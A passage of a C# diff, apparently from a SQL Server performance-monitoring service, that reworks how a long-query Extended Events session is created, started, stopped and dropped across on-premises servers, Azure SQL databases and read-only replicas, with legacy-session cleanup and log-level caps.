+    private static async Task<bool> CreateLongQueryCompletionsDefinitionAzureAsync(
+        SqlConnection connection, ServerRuntime server, string databaseName, string sessionName, ILogger? logger, CancellationToken cancellationToken)
+    {
+        using (var cmd = new SqlCommand(@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorDarling */
+    session_state = des.name
+FROM sys.database_event_sessions AS des
+WHERE des.name = @session_name;", connection))
+        {
+            cmd.CommandTimeout = 60;
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            if (await cmd.ExecuteScalarAsync(cancellationToken) != null)
+            {
+                return false;
+            }
+        }
+
+        using var createCmd = new SqlCommand(
+            LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds), connection);
+        createCmd.CommandTimeout = 60;
+        await ExecuteLongQueryAzureDdlAsync(createCmd, cancellationToken);
+        logger?.LogInformation("[{Server}] [{Database}] Created the long-query completion XE session's definition over a connection without read-only intent (database-scoped)", server.Config.DisplayName, databaseName);
+        return true;
+    }
+
+    /// <summary>Stops the session when it runs on the connection's replica (<see cref="LongQueryCompletionsCollector.BuildStopSessionSql"/>).</summary>
+    private static async Task StopLongQueryCompletionsAsync(SqlConnection connection, string sessionName, CancellationToken cancellationToken)
+    {
+        /* Hyperscale limit (#4961): with several high-availability replicas, a read-only connection lands on one replica the app
+           cannot choose, so this stop reaches only that one, and a copy of the session that runs on another replica is not stopped.
+           Microsoft Learn describes no way to address one HA replica; it says the read-intent workload is "distributed arbitrarily
+           across all available HA replicas": https://learn.microsoft.com/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica */
+        using var cmd = new SqlCommand(LongQueryCompletionsCollector.BuildStopSessionSql(sessionName), connection);
+        cmd.CommandTimeout = 60;
+        await cmd.ExecuteNonQueryAsync(cancellationToken);
+    }
+
+    private static async Task StartLongQueryCompletionsAzureAsync(SqlConnection connection, string sessionName, CancellationToken cancellationToken)
+    {
+        using var startCmd = new SqlCommand($@"
+IF NOT EXISTS
+(
+    SELECT
+        1/0
+    FROM sys.dm_xe_database_sessions AS xes
+    WHERE xes.name = N'{sessionName}'
+)
+BEGIN
+    {LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: true)}
+END;", connection);
+        startCmd.CommandTimeout = 60;
+        await ExecuteLongQueryAzureDdlAsync(startCmd, cancellationToken);
+    }
+
+    /// <summary>
+    /// #4961: marks the failure of one create or start of the long-query session in an Azure SQL Database, so the failure line,
+    /// the all-refused rethrow's message and the fault the run records carry the caps sentence
+    /// (<see cref="AlwaysOnXeSessions.AzureCapsSentence"/>), as the deadlock and blocked-process sessions' do. The engine's
+    /// "already there" is no failure, and a read-only database's refusal says its own reason, so neither is marked. Called only
+    /// on the Azure SQL Database arm: no cap limits the server-scoped session of any other engine.
+    /// </summary>
+    private static void MarkLongQueryAzureFailure(Exception ex)
+    {
+        if (ex is SqlException sql && IsBenignXeSessionAlreadyPresent(sql))
+        {
+            return;
+        }
+
+        AlwaysOnXeSessions.MarkAzureCapsFailure(ex, ErrorNumbersOf(ex));
+    }
+
+    /// <summary>Runs one create or start statement of the Azure per-database ensure, and marks its failure (<see cref="MarkLongQueryAzureFailure"/>).</summary>
+    private static async Task ExecuteLongQueryAzureDdlAsync(SqlCommand command, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            MarkLongQueryAzureFailure(ex);
+            throw;
+        }
+    }
+
+    /// <summary>
+    /// Drops the server-scoped long-query session, on every engine but Azure SQL Database. A failure, the connection's
+    /// included, throws <see cref="LongQueryTraceDropException"/> (<see cref="LongQueryTraceDropException.ForServer"/>) like
+    /// the Azure arm's drops do, so the worker's cap applies to it (#4964). Left as it was, it reached the worker's general
+    /// catch, which warns on every sweep with no end while the trace is off.
+    /// </summary>
+    private static async Task DropLongQueryCompletionsOnServerAsync(ServerRuntime server, DarlingCollectorRunner runner, string sessionName, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await DropSessionOnServerAsync(server, runner, sessionName, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            throw LongQueryTraceDropException.ForServer(ex);
+        }
+    }
+
+    /// <summary>Drops one session on the server, and lets the failure through as it is.</summary>
+    private static async Task DropSessionOnServerAsync(ServerRuntime server, DarlingCollectorRunner runner, string sessionName, CancellationToken cancellationToken)
+    {
+        /* A test replaces the server-scoped drop, called with no database name. Null in production. */
+        if (runner.LongQueryTraceDatabaseOverrideForTests is { } dropOnServer)
+        {
+            await dropOnServer(server, string.Empty, false, sessionName, cancellationToken);
+            return;
+        }
+
+        /* Below it, a test replaces the open and the work, and sees the registration's own connection string (#4961). */
+        if (runner.LongQueryTraceStepOverrideForTests is { } stepOnServer)
+        {
+            await stepOnServer(server, string.Empty, server.ConnectionString, LongQueryTraceStep.Drop, sessionName, cancellationToken);
+            return;
+        }
+
+        using var connection = new SqlConnection(server.ConnectionString);
+        await connection.OpenAsync(cancellationToken);
+        await DropLongQueryCompletionsAsync(connection, sessionName, databaseScoped: false, cancellationToken);
+    }
+
+    private static async Task EnsureLongQueryCompletionsOnPremAsync(SqlConnection connection, ServerRuntime server, string sessionName, DarlingLegacyLongQuerySession legacy, ILogger? logger, CancellationToken cancellationToken)
+    {
+        int? isRunning = null;
+        var legacyPresent = false;
+
+        /* The second SELECT asks whether an older install created the legacy session again, in the same batch (#4961). */
+        using (var cmd = new SqlCommand(@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorDarling */
+    is_running = CASE WHEN dxs.name IS NOT NULL THEN 1 ELSE 0 END
+FROM sys.server_event_sessions AS ses
+LEFT JOIN sys.dm_xe_sessions AS dxs
+  ON dxs.name = ses.name
+WHERE ses.name = @session_name;
+
+SELECT /* PerformanceMonitorDarling */
+    legacy_present = CASE WHEN EXISTS (SELECT 1/0 FROM sys.server_event_sessions AS les WHERE les.name = @legacy_name) THEN 1 ELSE 0 END;", connection))
+        {
+            cmd.CommandTimeout = 60;
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            cmd.Parameters.Add(new SqlParameter("@legacy_name", SqlDbType.NVarChar, 128) { Value = DarlingLegacyLongQuerySession.SessionName });
+            using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                isRunning = reader.GetInt32(0);
+            }
+
+            if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
+            {
+                legacyPresent = reader.GetInt32(0) == 1;
+            }
+        }
+
+        if (legacyPresent)
+        {
+            legacy.NoteFound(server, string.Empty, logger);
+        }
+
+        if (isRunning is not null)
+        {
+            if (isRunning == 0)
+            {
+                using var startCmd = new SqlCommand(LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: false), connection);
+                startCmd.CommandTimeout = 60;
+                await startCmd.ExecuteNonQueryAsync(cancellationToken);
+                logger?.LogInformation("[{Server}] Started long-query completion XE session", server.Config.DisplayName);
+            }
+
+            return;
+        }
+
+        using var createCmd = new SqlCommand(
+            LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: false, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
+            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: false), connection);
+        createCmd.CommandTimeout = 60;
+        await createCmd.ExecuteNonQueryAsync(cancellationToken);
+        logger?.LogInformation("[{Server}] Created and started long-query completion XE session", server.Config.DisplayName);
+    }
+
+    /// <summary>
+    /// The Azure SQL DB arm: one database-scoped session per monitored database, in the databases
+    /// <see cref="LongQueryTraceDatabases.Plan"/> names (shared with Lite). ENABLED: created in each monitored
+    /// database, then dropped from each listed database outside that set. DISABLED: dropped from every listed
+    /// database, exclusions and scope included. Neither touches a database monitored as its own server, and neither
+    /// drops the session from a database where another registration of the server keeps it
+    /// (<see cref="LongQueryTraceDatabases.KeptElsewhere"/>). Returns the #2623 partial note when the ENABLE was refused in some databases, throws the first failure
+    /// when it was refused in all of them, and returns null otherwise — see
+    /// <see cref="ReconcileLongQueryCompletionsAsync"/> for why the middle state exists only here and what each
+    /// answer makes the worker do (#3754). A failed listing throws too. A failed drop throws
+    /// <see cref="LongQueryTraceDropException"/> after every database was tried, carrying the partial note, so
+    /// the worker retries it up to <see cref="LongQueryTraceDatabases.DropAttemptCap"/> times in a row, then once an
+    /// hour. A <see cref="LongQueryTracePass.CreateOnly"/> pass stops after the create side.
+    /// <para>The create side has no cap on its attempts, on purpose. Its listing failure rethrows as it is, so the worker
+    /// leaves the trace unapplied and a login that cannot read master on a logical server retries the create on every
+    /// sweep: the fault is recorded again, and the run reads <c>SESSION_MISSING</c>. The CREATE path where every database
+    /// refuses has the same cadence. What is capped is the log: the first failed pass logs its lines at Warning, and the
+    /// passes after it log them at Debug (<paramref name="createFailureWarned"/>, #4964) until a create succeeds or the
+    /// server reconnects. The drop side has its own cap, because its failures, the listing included, arrive as
+    /// <see cref="LongQueryTraceDropException"/>.</para>
+    /// </summary>
+    private static async Task<string?> ReconcileLongQueryCompletionsAzureAsync(
+        ServerRuntime server,
+        DarlingCollectorRunner runner,
+        string sessionName,
+        bool enabled,
+        LongQueryTracePass pass,
+        IReadOnlyList<LongQueryTraceRegistration> registrations,
+        IReadOnlyList<string> serverSeparatelyMonitored,
+        bool createFailureWarned,
+        ILogger? logger,
+        LongQueryTraceReconcileOutcome? outcome,
+        CancellationToken cancellationToken)
+    {
+        /* The hourly attempt after the cap logs each failed drop at Debug, so the cap's one warning is not repeated. */
+        var afterTheCap = pass == LongQueryTracePass.RetryAfterCap;
+
+        /* #4964: the level of every failure the create side logs in this pass. A create that already warned logs its
+           repeats at Debug; the retry and the fault the worker records do not change. */
+        var createFailureLevel = createFailureWarned ? LogLevel.Debug : LogLevel.Warning;
+
+        /* Two lifecycle rules live in this class, on purpose. The always-on deadlock and blocked-process
+           sessions (EnsureDatabaseScopedAsync) follow the inventory: every database the server lists, with no
+           #3477 scope, because they are cheap, the alerts read them, and one list provisions both while each
+           collector may carry its own scope. This opt-in trace follows the monitored set: the inventory narrowed by the scope its
+           own read loop resolves (DarlingCollectorRunner.DatabaseScopeFor), minus the databases monitored as
+           their own servers, whose registrations own those sessions. The trace costs overhead, so it must not
+           run in a database the user left out. */
+        var separatelyMonitored = runner.SeparatelyMonitoredDatabasesFor(server);
+
+        /* The databases where another registration of this logical server keeps the session: a drop here would
+           remove it for that registration too, since the session is one object per database. */
+        IReadOnlyList<string> KeptElsewhere(IEnumerable<string> candidates) =>
+            LongQueryTraceDatabases.KeptElsewhere(
+                server.ServerId.ToString(CultureInfo.InvariantCulture), server.Config.Host, candidates, registrations, serverSeparatelyMonitored);
+
+        /* #4961: the legacy session is dropped once in each database, then recorded (DarlingLegacyLongQuerySession). */
+        var legacyPass = await runner.LegacyLongQuery.BeginPassAsync(server, pass, logger, cancellationToken);
+
+        /* Every listed database but master and the databases monitored as their own servers, which own their own drops. */
+        IReadOnlyList<string> LegacyDatabases(IEnumerable<string> listed) =>
+            LongQueryTraceDatabases.Plan(enabled: false, listed, Array.Empty<string>(), separatelyMonitored, keptElsewhere: Array.Empty<string>()).Drop;
+
+        if (!enabled)
+        {
+            var listed = await ListEveryDatabaseForTheTraceAsync(server, runner, createNote: null, cancellationToken);
+            var off = LongQueryTraceDatabases.Plan(
+                enabled: false,
+                listed,
+                Array.Empty<string>(),
+                separatelyMonitored,
+                KeptElsewhere(listed));
+
+            /* #4961: the legacy session goes from every listed database but master, whoever else keeps a session there: it
+               is not the per-install session. The same one listing serves both drops. */
+            var legacyOff = LegacyDatabases(listed);
+            foreach (var legacyDatabase in legacyOff)
+            {
+                await legacyPass.DropAsync(legacyDatabase, (legacyName, token) => DropSessionInDatabaseAsync(server, runner, legacyName, legacyDatabase, token), cancellationToken);
             }
 
+            LongQueryTraceDropException? offFailure = null;
             try
             {
-                using var connection = await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
+                await DropLongQueryTraceInEachAsync(server, runner, sessionName, off.Drop, createNote: null, afterTheCap, logger, cancellationToken);
+            }
+            catch (LongQueryTraceDropException ex)
+            {
+                offFailure = ex;
+            }
 
-                if (enabled)
+            if (LegacyLongQueryDropPass.Merge(offFailure, legacyPass.ToException(legacyOff, createNote: null, onServer: false)) is { } offFailed)
+            {
+                throw offFailed;
+            }
+
+            return null;
+        }
+
+        List<string> monitored;
+        try
+        {
+            monitored = await runner.ListLongQueryTraceDatabasesAsync(
+                server,
+                allDatabases: false,
+                runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, server.ServerId),
+                cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* Thrown, not returned: a return here made the worker count the trace applied with no session
+               created, until the next reconnect. Now the next sweep tries again. */
+            logger?.Log(createFailureLevel, "[{Server}] Failed to enumerate databases for the long-query completion XE session: {Message}", server.Config.DisplayName, ex.Message);
+            throw;
+        }
+
+        /* #3754: the per-database account, in the shape both runners' Azure loops keep (#2623) - attempted
+           against failed, the names, the first exception whole. Only the ENABLE side is scored: a database
+           whose session could not be created is a database whose completions will never be captured,
+           which is the fact the collector's run record has to carry. */
+        var attempted = 0;
+        var failed = 0;
+        var failedDatabases = new List<string>();
+        Exception? firstFailure = null;
+
+        /* Every database the server lists, read once for both drops of this pass: the legacy session's, in each database before
+           that database's create, and the per-install session's outside the monitored set after the creates. A listing that
+           fails does not stop the creates. It fails the pass after them, as it always has. */
+        List<string>? listedForTheDrop = null;
+        Exception? listFailure = null;
+        if (pass != LongQueryTracePass.CreateOnly)
+        {
+            try
+            {
+                listedForTheDrop = await runner.ListLongQueryTraceDatabasesAsync(server, allDatabases: true, databaseScope: null, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                listFailure = ex;
+            }
+        }
+
+        var legacyDatabases = listedForTheDrop is null ? Array.Empty<string>() : LegacyDatabases(listedForTheDrop);
+        var legacyBeforeCreate = new HashSet<string>(legacyDatabases, StringComparer.OrdinalIgnoreCase);
+        var created = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+
+        foreach (var databaseName in LongQueryTraceDatabases.Plan(enabled: true, Array.Empty<string>(), monitored, separatelyMonitored, keptElsewhere: Array.Empty<string>()).Create)
+        {
+            cancellationToken.ThrowIfCancellationRequested();
+            attempted++;
+            created.Add(databaseName);
+
+            /* The legacy drop comes first, so it frees the slot the create needs. Its failure does not stop the create. */
+            if (legacyBeforeCreate.Contains(databaseName))
+            {
+                await legacyPass.DropAsync(databaseName, (legacyName, token) => DropSessionInDatabaseAsync(server, runner, legacyName, databaseName, token), cancellationToken);
+            }
+
+            try
+            {
+                if (runner.LongQueryTraceDatabaseOverrideForTests is { } inDatabase)
                 {
-                    try
+                    await inDatabase(server, databaseName, true, sessionName, cancellationToken);
+                    if (runner.LegacyLongQueryPresentForTests is { } presentInDatabase && await presentInDatabase(server, databaseName, cancellationToken))
                     {
-                        await EnsureLongQueryCompletionsAzureAsync(connection, server, databaseName, logger, cancellationToken);
+                        runner.LegacyLongQuery.NoteFound(server, databaseName, logger);
                     }
-                    catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+
+                    continue;
+                }
+
+                /* #4961: a registration with read-only intent checks over its own connection, creates the definition over a
+                   connection without the intent only when its replica shows none, and starts the session over its own. A start the
+                   replica refuses just after the create is left for the next sweep: the outcome tells the worker not to latch. */
+                if (HasReadOnlyIntent(LongQueryTraceConnectionString(server, databaseName)))
+                {
+                    if (await EnsureLongQueryCompletionsReadOnlyIntentAsync(server, runner, databaseName, sessionName, logger, cancellationToken) && outcome is not null)
                     {
-                        /* Already present per the engine — the reader tolerates it (#1251). */
+                        outcome.StartPending = true;
                     }
+
+                    continue;
                 }
-                else
+
+                /* Below the per-database override, a test replaces the step's open and work, and sees the connection string the
+                   step would have opened (#4961). */
+                if (runner.LongQueryTraceStepOverrideForTests is { } stepInDatabase)
                 {
-                    await DropLongQueryCompletionsAsync(connection, databaseScoped: true, cancellationToken);
+                    await RunLongQueryTraceStepAsync(stepInDatabase, server, databaseName, LongQueryTraceConnectionString(server, databaseName), LongQueryTraceStep.CreateAndStart, sessionName, cancellationToken);
+                    continue;
+                }
+
+                using var connection = await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
+
+                try
+                {
+                    await EnsureLongQueryCompletionsAzureAsync(connection, server, databaseName, sessionName, runner.LegacyLongQuery, logger, cancellationToken);
+                }
+                catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+                {
+                    /* Already present per the engine — the reader tolerates it (#1251). */
                 }
             }
             catch (Exception ex) when (ex is not OperationCanceledException)
@@ -714,16 +1123,23 @@ the failure reaches the run record and not only the service log. The database na
                    on the exception (#2997) for the all-failed rethrow: the worker composes the run's
                    SESSION_MISSING message from it, and its only other source of a name is the runtime's
                    connected database, which is master here and never the one that refused. */
-                if (enabled)
+                failed++;
+                failedDatabases.Add(databaseName);
+                CollectorFaultDatabase.Stamp(ex, databaseName);
+                firstFailure ??= ex;
+
+                /* #4961: a read-only database gets the one message that says why and what to change, in place of the
+                   server's own. */
+                if (IsReadOnlyDatabaseRefusal(ex))
                 {
-                    failed++;
-                    failedDatabases.Add(databaseName);
-                    CollectorFaultDatabase.Stamp(ex, databaseName);
-                    firstFailure ??= ex;
+                    logger?.Log(createFailureLevel, "[{Server}] [{Database}] {Message}",
+                        server.Config.DisplayName, databaseName, LongQueryTraceDatabases.ReadOnlyDatabaseMessage());
+                }
+                else
+                {
+                    logger?.Log(createFailureLevel, "[{Server}] [{Database}] Failed to reconcile the long-query completion XE session: {Message}",
+                        server.Config.DisplayName, databaseName, AlwaysOnXeSessions.DescribeFailure(ex));
                 }
-
-                logger?.LogWarning("[{Server}] [{Database}] Failed to reconcile the long-query completion XE session: {Message}",
-                    server.Config.DisplayName, databaseName, ex.Message);
             }
         }
 
@@ -734,7 +1150,7 @@ and number are what the worker's fault arms classify on - after the one summary
            healthy == 0 for the same reason. */
         if (attempted > 0 && failed == attempted && firstFailure is not null)
         {
-            logger?.LogWarning("[{Server}] long_query_completions XE session could not be ensured in all {Count} database(s); surfacing the first failure",
+            logger?.Log(IsReadOnlyDatabaseRefusal(firstFailure) ? LogLevel.Debug : createFailureLevel, "[{Server}] long_query_completions XE session could not be ensured in all {Count} database(s); surfacing the first failure",
                 server.Config.DisplayName, attempted);
             System.Runtime.ExceptionServices.ExceptionDispatchInfo.Capture(firstFailure).Throw();
         }
@@ -742,54 +1158,193 @@ and number are what the worker's fault arms classify on - after the one summary
         /* Some refused: the session exists where it could, and the run that reads those databases is a real
            read - SUCCESS is right for it - but its row must say that the others are not in it. The shared
            #2623 composer, so this loss is worded exactly as the runners word theirs; null when nothing
-           failed, which is the ordinary sweep. */
-        return EnumeratedCollectorDriver.BuildPartialFailureNote(failed, attempted, failedDatabases, firstFailure?.Message);
+           failed, which is the ordinary sweep. The first failure is worded as the per-database line above words it, so a
+           create or start refused on Azure SQL Database carries the caps sentence in the note too (#4961). */
+        var partialNote = EnumeratedCollectorDriver.BuildPartialFailureNote(failed, attempted, failedDatabases, firstFailure is null ? null : AlwaysOnXeSessions.DescribeFailure(firstFailure));
+
+        /* The worker's hourly pass while the trace is on stops here: it brings back a session dropped from outside,
+           and leaves the drop side to a connect, a change of the state key, or an attempt after the cap. */
+        if (pass == LongQueryTracePass.CreateOnly)
+        {
+            return partialNote;
+        }
+
+        /* Then drop the session from each listed database outside the monitored set: a database excluded, or
+           taken out of the scope, since the session was created there. */
+        if (listedForTheDrop is null)
+        {
+            throw new LongQueryTraceDropException(Array.Empty<string>(), listFailure!, partialNote);
+        }
+
+        var outside = LongQueryTraceDatabases.Plan(
+            enabled: true,
+            listedForTheDrop,
+            monitored,
+            separatelyMonitored,
+            KeptElsewhere(listedForTheDrop));
+
+        /* The legacy drops the creates did not reach: the databases outside the monitored set. */
+        foreach (var legacyDatabase in legacyDatabases.Where(database => !created.Contains(database)))
+        {
+            await legacyPass.DropAsync(legacyDatabase, (legacyName, token) => DropSessionInDatabaseAsync(server, runner, legacyName, legacyDatabase, token), cancellationToken);
+        }
+
+        LongQueryTraceDropException? outsideFailure = null;
+        try
+        {
+            await DropLongQueryTraceInEachAsync(server, runner, sessionName, outside.Drop, partialNote, afterTheCap, logger, cancellationToken);
+        }
+        catch (LongQueryTraceDropException ex)
+        {
+            outsideFailure = ex;
+        }
+
+        if (LegacyLongQueryDropPass.Merge(outsideFailure, legacyPass.ToException(legacyDatabases, partialNote, onServer: false)) is { } cleanupFailure)
+        {
+            throw cleanupFailure;
+        }
+
+        return partialNote;
+    }
+
+    /// <summary>
+    /// Every online database, with no exclusions and no scope, for a drop. A failure to list them throws
+    /// <see cref="LongQueryTraceDropException"/> with no names, so the worker retries it like a failed drop.
+    /// </summary>
+    private static async Task<List<string>> ListEveryDatabaseForTheTraceAsync(ServerRuntime server, DarlingCollectorRunner runner, string? createNote, CancellationToken cancellationToken)
+    {
+        try
+        {
+            return await runner.ListLongQueryTraceDatabasesAsync(server, allDatabases: true, databaseScope: null, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            throw new LongQueryTraceDropException(Array.Empty<string>(), ex, createNote);
+        }
+    }
+
+    /// <summary>
+    /// Drops the session in each database, tries every one, and logs a warning that names each database where the
+    /// drop failed (<see cref="LongQueryTraceDatabases.DropEachAsync"/>). The hourly attempt after the cap logs it at
+    /// Debug instead.
+    /// </summary>
+    private static Task DropLongQueryTraceInEachAsync(ServerRuntime server, DarlingCollectorRunner runner, string sessionName, IReadOnlyList<string> databases, string? createNote, bool afterTheCap, ILogger? logger, CancellationToken cancellationToken) =>
+        LongQueryTraceDatabases.DropEachAsync(
+            databases,
+            (databaseName, token) => DropSessionInDatabaseAsync(server, runner, sessionName, databaseName, token),
+            (databaseName, ex) => logger?.Log(
+                afterTheCap ? LogLevel.Debug : LogLevel.Warning,
+                "[{Server}] [{Database}] Failed to drop the long-query completion XE session: {Message}",
+                server.Config.DisplayName, databaseName, ex.Message),
+            createNote,
+            cancellationToken);
+
+    /// <summary>Drops one session in one database, and lets the failure through as it is.</summary>
+    private static async Task DropSessionInDatabaseAsync(ServerRuntime server, DarlingCollectorRunner runner, string sessionName, string databaseName, CancellationToken cancellationToken)
+    {
+        if (runner.LongQueryTraceDatabaseOverrideForTests is { } inDatabase)
+        {
+            await inDatabase(server, databaseName, false, sessionName, cancellationToken);
+            return;
+        }
+
+        /* #4961: a session that runs on a read-only replica is stopped over a connection to that replica, then dropped over a
+           connection to the primary. A registration with read-only intent takes both steps; every other takes one drop. */
+        var own = LongQueryTraceConnectionString(server, databaseName);
+        foreach (var (step, connectionString) in LongQueryTraceDropStepsFor(own))
+        {
+            /* Below it, a test replaces each step's open and work, and sees the connection string the step would have opened. */
+            if (runner.LongQueryTraceStepOverrideForTests is { } stepInDatabase)
+            {
+                await stepInDatabase(server, databaseName, connectionString, step, sessionName, cancellationToken);
+                continue;
+            }
+
+            using var connection = string.Equals(connectionString, own, StringComparison.Ordinal)
+                ? await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken)
+                : new SqlConnection(connectionString);
+            if (connection.State != ConnectionState.Open)
+            {
+                await connection.OpenAsync(cancellationToken);
+            }
+
+            if (step == LongQueryTraceStep.Stop)
+            {
+                await StopLongQueryCompletionsAsync(connection, sessionName, cancellationToken);
+            }
+            else
+            {
+                await DropLongQueryCompletionsAsync(connection, sessionName, databaseScoped: true, cancellationToken);
+            }
+        }
     }
 
-    private static async Task EnsureLongQueryCompletionsAzureAsync(SqlConnection connection, ServerRuntime server, string databaseName, ILogger? logger, CancellationToken cancellationToken)
+    private static async Task EnsureLongQueryCompletionsAzureAsync(SqlConnection connection, ServerRuntime server, string databaseName, string sessionName, DarlingLegacyLongQuerySession legacy, ILogger? logger, CancellationToken cancellationToken)
     {
+        string? existing = null;
+        var legacyPresent = false;
+
+        /* The second SELECT asks whether an older install created the legacy session again, in the same batch (#4961). */
         using (var cmd = new SqlCommand(@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
 SELECT /* PerformanceMonitorDarling */
     session_state = des.name
 FROM sys.database_event_sessions AS des
-WHERE des.name = @session_name;", connection))
+WHERE des.name = @session_name;
+
+SELECT /* PerformanceMonitorDarling */
+    legacy_present = CASE WHEN EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS les WHERE les.name = @legacy_name) THEN 1 ELSE 0 END;", connection))
         {
             cmd.CommandTimeout = 60;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = LongQueryCompletionsCollector.XeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            cmd.Parameters.Add(new SqlParameter("@legacy_name", SqlDbType.NVarChar, 128) { Value = DarlingLegacyLongQuerySession.SessionName });
+            using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                existing = reader.GetString(0);
+            }
 
-            if (result != null)
+            if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
             {
-                using var startCmd = new SqlCommand($@"
+                legacyPresent = reader.GetInt32(0) == 1;
+            }
+        }
+
+        if (legacyPresent)
+        {
+            legacy.NoteFound(server, databaseName, logger);
+        }
+
+        if (existing != null)
+        {
+            using var startCmd = new SqlCommand($@"
 IF NOT EXISTS
 (
     SELECT
         1/0
     FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{LongQueryCompletionsCollector.XeSessionName}'
+    WHERE xes.name = N'{sessionName}'
 )
 BEGIN
-    ALTER EVENT SESSION [{LongQueryCompletionsCollector.XeSessionName}] ON DATABASE STATE = START;
+    ALTER EVENT SESSION [{sessionName}] ON DATABASE STATE = START;
 END;", connection);
-                startCmd.CommandTimeout = 60;
-                await startCmd.ExecuteNonQueryAsync(cancellationToken);
-                return;
-            }
+            startCmd.CommandTimeout = 60;
+            await ExecuteLongQueryAzureDdlAsync(startCmd, cancellationToken);
+            return;
         }
 
         using var createCmd = new SqlCommand(
-            LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
-            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: true), connection);
+            LongQueryCompletionsCollector.BuildCreateSessionSql(sessionName, databaseScoped: true, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
+            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(sessionName, databaseScoped: true), connection);
         createCmd.CommandTimeout = 60;
-        await createCmd.ExecuteNonQueryAsync(cancellationToken);
+        await ExecuteLongQueryAzureDdlAsync(createCmd, cancellationToken);
         logger?.LogInformation("[{Server}] [{Database}] Created and started long-query completion XE session (database-scoped)", server.Config.DisplayName, databaseName);
     }
 
-    private static async Task DropLongQueryCompletionsAsync(SqlConnection connection, bool databaseScoped, CancellationToken cancellationToken)
+    private static async Task DropLongQueryCompletionsAsync(SqlConnection connection, string sessionName, bool databaseScoped, CancellationToken cancellationToken)
     {
-        using var cmd = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(databaseScoped), connection);
+        using var cmd = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(sessionName, databaseScoped), connection);
         cmd.CommandTimeout = 60;
         await cmd.ExecuteNonQueryAsync(cancellationToken);
     }
@@ -818,3 +1373,42 @@ internal static bool IsBenignXeSessionAlreadyPresent(SqlException ex)
         return true;
     }
 }
+
+/// <summary>
+/// What one long-query reconcile leaves for the worker beyond its note (<see cref="DarlingXeSessions.ReconcileLongQueryCompletionsAsync"/>, #4961).
+/// <see cref="StartPending"/> is set when a registration with read-only intent created the session's definition and its replica
+/// refused the start because it does not show the definition yet. The worker then leaves its latch where it was, so the next
+/// sweep tries again instead of waiting for the hourly create pass.
+/// </summary>
+public sealed class LongQueryTraceReconcileOutcome
+{
+    /// <summary>A start was refused because the replica does not show the definition this reconcile created yet.</summary>
+    public bool StartPending { get; set; }
+}
+
+/// <summary>
+/// Which part of the long-query trace's reconcile runs (<see cref="DarlingXeSessions.ReconcileLongQueryCompletionsAsync"/>).
+/// The worker's latch decides, in <c>DarlingWorker.ReconcileLongQueryTraceAsync</c>.
+/// </summary>
+public enum LongQueryTracePass
+{
+    /// <summary>The whole reconcile: after a connect, or after a change of the state key.</summary>
+    Full,
+
+    /// <summary>
+    /// The hourly pass while the trace is on: the create side alone, so a session dropped from outside comes back.
+    /// </summary>
+    CreateOnly,
+
+    /// <summary>
+    /// The hourly attempt after the cleanup's cap (<see cref="LongQueryTraceDropRetry"/>): the whole reconcile, with
+    /// each failed drop logged at Debug.
+    /// </summary>
+    RetryAfterCap,
+
+    /// <summary>
+    /// A removed server's drop (#4961): the per-install session only. It runs no legacy drop
+    /// (<see cref="DarlingLegacyLongQuerySession.BeginPassAsync"/>), which belongs to the reconcile, and it is tried once.
+    /// </summary>
+    Removal,
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DatabaseWatermarkCache.cs b/Darling/PerformanceMonitor.Darling.Service/DatabaseWatermarkCache.cs
index bf8547b732..5748928069 100644
